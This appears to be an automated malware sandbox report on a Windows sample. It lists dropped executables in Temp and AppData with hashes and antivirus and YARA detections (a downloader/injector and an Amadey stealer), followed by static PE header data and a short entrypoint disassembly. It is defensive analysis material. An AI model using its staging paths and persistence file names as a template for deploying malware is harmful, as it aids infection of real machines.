Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........vy..vy..vy....vy.....vy.....vy....vy..vx..vy.....vy....vy....vy.Rich.vy.................PE..L......c.................r...........T............@..........................................................................u..d........;..........................................................h5..@............... ............................text....q.......r.................. ..`.data...l............v..............@....rsrc....;.......<...6..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B03B.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	842752
Entropy (8bit):	7.316433087669138
Encrypted:	false
SSDEEP:	12288:Ffb2os/NIZe+ot8YrbilL2chO8cEYkjJcLtrY5273DuFcgLaIWi9nQCcPn:FfbaFIst86YBQC273DuFNLFNQn
MD5:	DDA6D5E2EE28009E0535CCBF68E65A54
SHA1:	EAE95F34981C3B4066CA181F2D666A1A23F76D08
SHA-256:	DF5F01BAE37EFCE9D29E85DB29A1A18DE03D91F7AD54D608592C26280E6E344B
SHA-512:	F95CD15206B438014EB58E8DCB321C5C447A6F533898361BE039C6B84C91A6E53C8314508CDC9C177E9BC73C38B105DAC50D857406331A0E90FCE0B871E9D5B5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........X.vy..vy..vy......vy......vy......vy......vy..vx..vy......vy......vy......vy.Rich.vy.........PE..L.....b.................t...F.......T............@..........................P..............................................4u..d........<..........................................................x5..@...............4............................text...(r.......t.................. ..`.data....z.......&...x..............@....rsrc....<.......>..................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B666.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	842752
Entropy (8bit):	7.316433087669138
Encrypted:	false
SSDEEP:	12288:Ffb2os/NIZe+ot8YrbilL2chO8cEYkjJcLtrY5273DuFcgLaIWi9nQCcPn:FfbaFIst86YBQC273DuFNLFNQn
MD5:	DDA6D5E2EE28009E0535CCBF68E65A54
SHA1:	EAE95F34981C3B4066CA181F2D666A1A23F76D08
SHA-256:	DF5F01BAE37EFCE9D29E85DB29A1A18DE03D91F7AD54D608592C26280E6E344B
SHA-512:	F95CD15206B438014EB58E8DCB321C5C447A6F533898361BE039C6B84C91A6E53C8314508CDC9C177E9BC73C38B105DAC50D857406331A0E90FCE0B871E9D5B5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........X.vy..vy..vy......vy......vy......vy......vy..vx..vy......vy......vy......vy.Rich.vy.........PE..L.....b.................t...F.......T............@..........................P..............................................4u..d........<..........................................................x5..@...............4............................text...(r.......t.................. ..`.data....z.......&...x..............@....rsrc....<.......>..................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D01F.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	413696
Entropy (8bit):	6.173941141512113
Encrypted:	false
SSDEEP:	6144:sFtIf4Dq34HmMJb7agxdLNYROtUS+eZTVBwyRad:sNDM4HZ7ahOtXZTVB5ad
MD5:	3A5011DAFD018A37813DEF1412DD2C15
SHA1:	3CA360B1779B500456349A3DE0F68392C4E65466
SHA-256:	A7C87742BE98836BAC0959E208D18B7F9E57FA7BABCAD37198747729EF0F0CAD
SHA-512:	CE42AB0965B1F8ACD133D7CEE71FC1FEC3253A00A55DDCC5C6930E8FAAFAC017C206D64FFF10DDB84ED571C436186416AC120DE6B08BA5AC4F9D6EC25C0E3C43
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........X.vy..vy..vy......vy......vy......vy......vy..vx..vy......vy......vy......vy.Rich.vy.........PE..L...%Eqb.................t...........T............@.................................y.......................................4u..d........<..........................................................x5..@...............4............................text...(r.......t.................. ..`.data................x..............@....rsrc....<.......>..................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D05F.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	322048
Entropy (8bit):	5.400536014555582
Encrypted:	false
SSDEEP:	3072:X5FXkt/L4yfi013ZwsP2ffaqpYE6QbgTypdeTry7hVmQzT9dBo:pF0V4yfF3mdfvoQbCM9hVmYT
MD5:	BBF67F901324C683C4EB93D8C3A48BD1
SHA1:	9E2FC74F06E78D15B99EC668B440512D8DA5B3E6
SHA-256:	0AF8A593F9AAAAB4C2C339B6A4348FF75BA368C3DB300EF02E0DB5CC25F9CB88
SHA-512:	B0C4A5F61D173D9A4560580D7B536B230138DF8E69B34B5B07F733253BC7DE062F0F93C2B17AFAB8C1BD1BE309A6B83583CEB5397E32B221C7B063CAD3B906F9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........X.vy..vy..vy......vy......vy......vy......vy..vx..vy......vy......vy......vy.Rich.vy.........PE..L....D.c.................t...T.......T............@..........................`..............................................4u..d.... ...<..........................................................x5..@...............4............................text...(r.......t.................. ..`.data............4...x..............@....rsrc....<... ...>..................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D5C1.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	842752
Entropy (8bit):	7.316433087669138
Encrypted:	false
SSDEEP:	12288:Ffb2os/NIZe+ot8YrbilL2chO8cEYkjJcLtrY5273DuFcgLaIWi9nQCcPn:FfbaFIst86YBQC273DuFNLFNQn
MD5:	DDA6D5E2EE28009E0535CCBF68E65A54
SHA1:	EAE95F34981C3B4066CA181F2D666A1A23F76D08
SHA-256:	DF5F01BAE37EFCE9D29E85DB29A1A18DE03D91F7AD54D608592C26280E6E344B
SHA-512:	F95CD15206B438014EB58E8DCB321C5C447A6F533898361BE039C6B84C91A6E53C8314508CDC9C177E9BC73C38B105DAC50D857406331A0E90FCE0B871E9D5B5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........X.vy..vy..vy......vy......vy......vy......vy..vx..vy......vy......vy......vy.Rich.vy.........PE..L.....b.................t...F.......T............@..........................P..............................................4u..d........<..........................................................x5..@...............4............................text...(r.......t.................. ..`.data....z.......&...x..............@....rsrc....<.......>..................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\F0EE.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4351488
Entropy (8bit):	7.915186518394389
Encrypted:	false
SSDEEP:	98304:KykuFqMHmGlYVlFPKGszK006t9jZETDaAOY23rPWLaPjbus:KyhFr2Psm0NZEvaAOYerPWej
MD5:	26115AFB115A50A1CBBC4A4DE8C6816D
SHA1:	A77F16B4FA96CCDA3AD9C9FEBBECDD76039E47BE
SHA-256:	965B882B4D565124645E8412C492933E4421BB3AAC2C22C6BA54E3E01F5C2692
SHA-512:	ECE791BE7FC1C94DC53FAC5C96C97E87CE46913B431A983DC5F3F3E58264847B46AEDD099A542589B8B2B242FFEC81EB67D0B6DC4F4341268C82F737C360F806
Malicious:	true
Yara Hits:	Rule: MALWARE_Win_DLInjector04, Description: Detects downloader / injector, Source: C:\Users\user\AppData\Local\Temp\F0EE.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....x.d.................\B..........zB.. ....B...@.. ........................B...........@.................................PzB.K.....B.......................B...................................................... ............... ..H............text....ZB.. ...\B................. ..`.rsrc.........B......^B.............@..@.reloc........B......dB.............@..B.................zB.....H........dB.\............'...=B..........................................0.._.......~....,.(....,..(....~....,.(....,..(....~....,.(....,..(....~....,.(....,..(....~....,.~.... ....Z(....~....,.r...pr...p.(....&..8....~.....o.....~.....o.....~.....o.....~.....o.......(......~....,...(......~....r...p(....,.(....r...po......(......+)~....r1..p(....,...(....r...po....(..........(....(..........(.......(......X..~....o....?....~....&*..0../........s.....s.......s.......o.......,

C:\Users\user\AppData\Local\Temp\F7C8.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	842752
Entropy (8bit):	7.316433087669138
Encrypted:	false
SSDEEP:	12288:Ffb2os/NIZe+ot8YrbilL2chO8cEYkjJcLtrY5273DuFcgLaIWi9nQCcPn:FfbaFIst86YBQC273DuFNLFNQn
MD5:	DDA6D5E2EE28009E0535CCBF68E65A54
SHA1:	EAE95F34981C3B4066CA181F2D666A1A23F76D08
SHA-256:	DF5F01BAE37EFCE9D29E85DB29A1A18DE03D91F7AD54D608592C26280E6E344B
SHA-512:	F95CD15206B438014EB58E8DCB321C5C447A6F533898361BE039C6B84C91A6E53C8314508CDC9C177E9BC73C38B105DAC50D857406331A0E90FCE0B871E9D5B5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........X.vy..vy..vy......vy......vy......vy......vy..vx..vy......vy......vy......vy.Rich.vy.........PE..L.....b.................t...F.......T............@..........................P..............................................4u..d........<..........................................................x5..@...............4............................text...(r.......t.................. ..`.data....z.......&...x..............@....rsrc....<.......>..................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FB94.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	4351488
Entropy (8bit):	7.915186518394389
Encrypted:	false
SSDEEP:	98304:KykuFqMHmGlYVlFPKGszK006t9jZETDaAOY23rPWLaPjbus:KyhFr2Psm0NZEvaAOYerPWej
MD5:	26115AFB115A50A1CBBC4A4DE8C6816D
SHA1:	A77F16B4FA96CCDA3AD9C9FEBBECDD76039E47BE
SHA-256:	965B882B4D565124645E8412C492933E4421BB3AAC2C22C6BA54E3E01F5C2692
SHA-512:	ECE791BE7FC1C94DC53FAC5C96C97E87CE46913B431A983DC5F3F3E58264847B46AEDD099A542589B8B2B242FFEC81EB67D0B6DC4F4341268C82F737C360F806
Malicious:	true
Yara Hits:	Rule: MALWARE_Win_DLInjector04, Description: Detects downloader / injector, Source: C:\Users\user\AppData\Local\Temp\FB94.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....x.d.................\B..........zB.. ....B...@.. ........................B...........@.................................PzB.K.....B.......................B...................................................... ............... ..H............text....ZB.. ...\B................. ..`.rsrc.........B......^B.............@..@.reloc........B......dB.............@..B.................zB.....H........dB.\............'...=B..........................................0.._.......~....,.(....,..(....~....,.(....,..(....~....,.(....,..(....~....,.(....,..(....~....,.~.... ....Z(....~....,.r...pr...p.(....&..8....~.....o.....~.....o.....~.....o.....~.....o.......(......~....,...(......~....r...p(....,.(....r...po......(......+)~....r1..p(....,...(....r...po....(..........(....(..........(.......(......X..~....o....?....~....&*..0../........s.....s.......s.......o.......,

C:\Users\user\AppData\Local\Temp\XandETC.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\F0EE.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	3890176
Entropy (8bit):	7.902408557753204
Encrypted:	false
SSDEEP:	49152:8Pu803iSM2N7aUjjqpEbUS2qv5MQBsSY/b7KoiTFUgxylC42lVJpiU71PP:s12BEE4vqxMQzub7OTFUgxylqTiU7J
MD5:	3006B49F3A30A80BB85074C279ACC7DF
SHA1:	728A7A867D13AD0034C29283939D94F0DF6C19DF
SHA-256:	F283B4C0AD4A902E1CB64201742CA4C5118F275E7B911A7DAFDA1EF01B825280
SHA-512:	E8FC5791892D7F08AF5A33462A11D39D29B5E86A62CBF135B12E71F2FCAAA48D40D5E3238F64E17A2F126BCFB9D70553A02D30DC60A89F1089B2C1E7465105DD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...Bu.c...............&.....X;................@..............................;.....!.;...`... ...............................................8.......9.......8...............;...............................8.(...................D.8..............................text...............................`..`.data.....7.......7.................@....rdata........8.......8.............@..@.pdata........8.......8.............@..@.xdata........8.......8.............@..@.bss....8.....8..........................idata........8.......8.............@....CRT....h.....8.......8.............@....tls..........9.......8.............@....rsrc.........9.......8.............@....reloc........;......Z;.............@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aafg31.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\F0EE.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	247808
Entropy (8bit):	6.802694838069394
Encrypted:	false
SSDEEP:	6144:dakwQKCJRGHUlBWmyYiEEiEEsfByAwZZS4onQF:ddQCJRwUlXyYXIB7GjF
MD5:	179AF079BC710BD2D1EE6DC5B8A0205C
SHA1:	62B08269ACCD6C12FB358EC8F8AE2793E4F8E325
SHA-256:	B9E5BB30A36587F424336FC28002C920DB6A13379D7F27361DAE7B58F533C079
SHA-512:	4D9A9B1DD96FA1589B2F5B2C3F2A3CB972EE522C6559E8C96642ACE083A61CA9EA64FE77B4BC882B58C25252D0087A0198E2E469F98DE7FFC423E82F35C9CA76
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C..".".".Zx..".Zi..".Z~.."."..#.Zn..".Zg.."...".Zy..".Z\|..".Rich.".........PE..d...r.[J.........."......D..........................................................d.....@.......... .......................................;...........Y..............................................................................P............................text....B.......D.................. ..`.data...h....`.......H..............@....pdata...............P..............@..@.rsrc....`.......Z...f..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oldplayer.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\F0EE.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	202752
Entropy (8bit):	6.344899274055935
Encrypted:	false
SSDEEP:	3072:lWgR9+o+G2K47yLk6E9EzwHxFTTDYUSNt2kLu5gf7or7wy+wXRcWfnPjt:lWu+5a4ukZSwH/TT2NE4u5gTovv
MD5:	A64A886A695ED5FB9273E73241FEC2F7
SHA1:	363244CA05027C5BEB938562DF5B525A2428B405
SHA-256:	563ACABE49CC451E9CAAC20FAE780BAD27EA09AAEFAAF8A1DFD838A00DE97144
SHA-512:	122779AD7BCE927E1B881DF181FCC3181080D3929A67F750358FA446A21397B998D167C03AED5F3BDC3CD7A1F17E4DA095F9B4A9367C6357CABEFCF8CDD29474
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Temp\oldplayer.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 89%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]..M.o...o...o..B....o..B....o..B....o.......o.......o......5o..B....o...o...o.......o....m..o.......o..Rich.o..................PE..L....+.d.................Z..........o;.......p....@..........................`............@.....................................d.... .......................0..p ..`...p...................t...........@............p...............................text....Y.......Z.................. ..`.rdata..t\|...p...~...^..............@..@.data...h$..........................@....rsrc........ ......................@..@.reloc..p ...0..."..................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\b9493cdd-4f9e-4392-9483-9c5b462e32e3\4149.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\4149.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	842240
Entropy (8bit):	7.3224462781755095
Encrypted:	false
SSDEEP:	24576:k8q+mCX1XlvT/duOkWSYNK1a0v3u+3g9:k8CCFXlv8+SGKPPu+Q9
MD5:	8471A1A3950D0B7A56B8EC23F8201F97
SHA1:	EA0A430709F43D3395C5AA581B9F52919A195CFC
SHA-256:	540A56DD60D8EE5EA9091EDAF421D8C4AB950AF9A85001D0B70508505D739BD5
SHA-512:	D1EF86623816AF755DB64AB6FA68DDC1A6C94EF9942BC8A67601C2B45AFAB92210C52A334EE3E6E79F461238FD6F90BB137E9E37BB9ED25466A299DCDF16501E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 45%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........+m.hE>.hE>.hE>...>.hE>...>.hE>...>.hE>...>.hE>.hD>shE>...>.hE>...>.hE>...>.hE>Rich.hE>........PE..L...bg.c.................r...F.......U............@..........................P......9`......................................4u..P........;...........................................................5..@............................................text...Dq.......r.................. ..`.data...l\|.......(...v..............@....rsrc....;.......<..................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\uehwfht

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	323072
Entropy (8bit):	5.404059025747037
Encrypted:	false
SSDEEP:	3072:z5F/kdBD498/NcWUsdCP2fPIL0tjjphlI9yDTaZUPW7Vd6Bo:dFsb498vU6fPIotxh+9yDTaZUP+
MD5:	D8694DA3B0B666CB6294CF8D2B5B4E5B
SHA1:	8AA18644C0A5C29698A3A2D249201EE5C396DF89
SHA-256:	85BC9252BC3FB7E280F674278351B70A633B5B9D788F0FC97C2AB805ED527E79
SHA-512:	E93C64D0CBAA51966BD24C4458C77318B97E0E68DA050EBF8C1EFC08ACD62E7A0D51F5B8E5C614BAECD3A9C5A93148658E3D9800389584084B41FB4B4F5C9F48
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........X.vy..vy..vy......vy......vy......vy......vy..vx..vy......vy......vy......vy.Rich.vy.........PE..L.....6c.................t...X.......T............@..........................`......v.......................................4u..d.... ...<..........................................................x5..@...............4............................text...(r.......t.................. ..`.data...,........8...x..............@....rsrc....<... ...>..................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\uehwfht:Zone.Identifier

Download File

Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\ughwfht

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	322560
Entropy (8bit):	5.403138454697658
Encrypted:	false
SSDEEP:	3072:e5FGkAs34wnIOHU6QlP2fxhzGzFOH2eRv4Bo:cFpp4wnfU1wxhqRm2eR
MD5:	28344CFF194F756C06233C84385E5602
SHA1:	5652235E776937C6BCADFEE49302A6B6415486ED
SHA-256:	C0FCFB337D88F8FB13BB11CB977E959EE07AC99497866252D65C034C806FC78D
SHA-512:	AE2F4E3ABB0FAAF7B8BA4C82AFE3E421B2CA079B3350AC98C13669CB1B1DFB32AE82956A159242890E8EC539370F553E5569F3859E5CB12691B02452F99057F0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........X.vy..vy..vy......vy......vy......vy......vy..vx..vy......vy......vy......vy.Rich.vy.........PE..L...M:^c.................t...V.......T............@..........................`..............................................4u..d.... ...<..........................................................x5..@...............4............................text...(r.......t.................. ..`.data...,........6...x..............@....rsrc....<... ...>..................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.404059025747037
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	323'072 bytes
MD5:	d8694da3b0b666cb6294cf8d2b5b4e5b
SHA1:	8aa18644c0a5c29698a3a2d249201ee5c396df89
SHA256:	85bc9252bc3fb7e280f674278351b70a633b5b9d788f0fc97c2ab805ed527e79
SHA512:	e93c64d0cbaa51966bd24c4458c77318b97e0e68da050ebf8c1efc08acd62e7a0d51f5b8e5c614baecd3a9c5a93148658e3d9800389584084b41fb4b4f5c9f48
SSDEEP:	3072:z5F/kdBD498/NcWUsdCP2fPIL0tjjphlI9yDTaZUPW7Vd6Bo:dFsb498vU6fPIotxh+9yDTaZUP+
TLSH:	78644C1352D1FC65E9264B329E2EC2E8361EF9918F5977AA22186E2F04B31F1C373715
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........X.vy..vy..vy......vy......vy......vy......vy..vx..vy......vy......vy......vy.Rich.vy.........PE..L.....6c.................t.

File Icon


Icon Hash:	c73600d0b1223d02

Static PE Info

General

Entrypoint:	0x4054f3
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x6336F814 [Fri Sep 30 14:07:16 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	4d78eb5f7b59a8e753748eb85e3f3b28

Entrypoint Preview

Instruction
call 00007FE97CC60E42h
jmp 00007FE97CC5CDFEh
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword ptr [ebp+0Ch]
add eax, 0Ch
mov dword ptr [ebp-04h], eax
mov ebx, dword ptr fs:[00000000h]
mov eax, dword ptr [ebx]
mov dword ptr fs:[00000000h], eax
mov eax, dword ptr [ebp+08h]
mov ebx, dword ptr [ebp+0Ch]
mov ebp, dword ptr [ebp-04h]
mov esp, dword ptr [ebx-04h]
jmp eax
pop ebx
leave
retn 0008h
pop eax
pop ecx
xchg dword ptr [esp], eax
jmp eax
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, dword ptr fs:[00000000h]
mov dword ptr [ebp-04h], esi
mov dword ptr [ebp-08h], 00405561h
push 00000000h
push dword ptr [ebp+0Ch]
push dword ptr [ebp-08h]
push dword ptr [ebp+08h]
call 00007FE97CC660FCh
mov eax, dword ptr [ebp+0Ch]
mov eax, dword ptr [eax+04h]
and eax, FFFFFFFDh
mov ecx, dword ptr [ebp+0Ch]
mov dword ptr [ecx+04h], eax
mov edi, dword ptr fs:[00000000h]
mov ebx, dword ptr [ebp-04h]
mov dword ptr [ebx], edi
mov dword ptr fs:[00000000h], ebx
pop edi
pop esi
pop ebx
leave
retn 0008h
push ebp
mov ebp, esp
sub esp, 08h
push ebx
push esi
push edi
cld
mov dword ptr [ebp-04h], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-04h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007FE97CC61A1Ch
add esp, 20h
mov dword ptr [ebp-08h], eax
pop edi
pop esi
pop ebx
mov eax, dword ptr [ebp+00h]

Rich Headers

Programming Language:

[ASM] VS2010 build 30319
[C++] VS2010 build 30319
[ C ] VS2010 build 30319
[IMP] VS2008 SP1 build 30729
[RES] VS2010 build 30319
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x27534	0x64	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1ee2000	0x13ce0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3578	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x234	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x27228	0x27400	False	0.28114425756369427	data	3.9323109426489906	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x29000	0x1eb8c2c	0x13800	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1ee2000	0x13ce0	0x13e00	False	0.30767246462264153	data	3.8491717158137	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x1ef1ff8	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4276315789473684
RT_CURSOR	0x1ef2128	0xf0	Device independent bitmap graphic, 24 x 48 x 1, image size 0			0.44583333333333336
RT_CURSOR	0x1ef2218	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0			0.0877110694183865
RT_CURSOR	0x1ef32f0	0x130	Device independent bitmap graphic, 32 x 64 x 1, image size 0			0.4473684210526316
RT_CURSOR	0x1ef3420	0xf0	Device independent bitmap graphic, 24 x 48 x 1, image size 0			0.4625
RT_CURSOR	0x1ef3510	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0			0.08583489681050657
RT_CURSOR	0x1ef45e8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.3407039711191336
RT_ICON	0x1ee2850	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.4437759336099585
RT_ICON	0x1ee2850	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.4437759336099585
RT_ICON	0x1ee4df8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	India	0.4864754098360656
RT_ICON	0x1ee4df8	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Tamil	Sri Lanka	0.4864754098360656
RT_ICON	0x1ee57a8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	India	0.28171641791044777
RT_ICON	0x1ee57a8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Tamil	Sri Lanka	0.28171641791044777
RT_ICON	0x1ee6650	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	India	0.38940092165898615
RT_ICON	0x1ee6650	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Tamil	Sri Lanka	0.38940092165898615
RT_ICON	0x1ee6d18	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	India	0.3901734104046243
RT_ICON	0x1ee6d18	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Tamil	Sri Lanka	0.3901734104046243
RT_ICON	0x1ee7280	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	India	0.22313278008298756
RT_ICON	0x1ee7280	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Tamil	Sri Lanka	0.22313278008298756
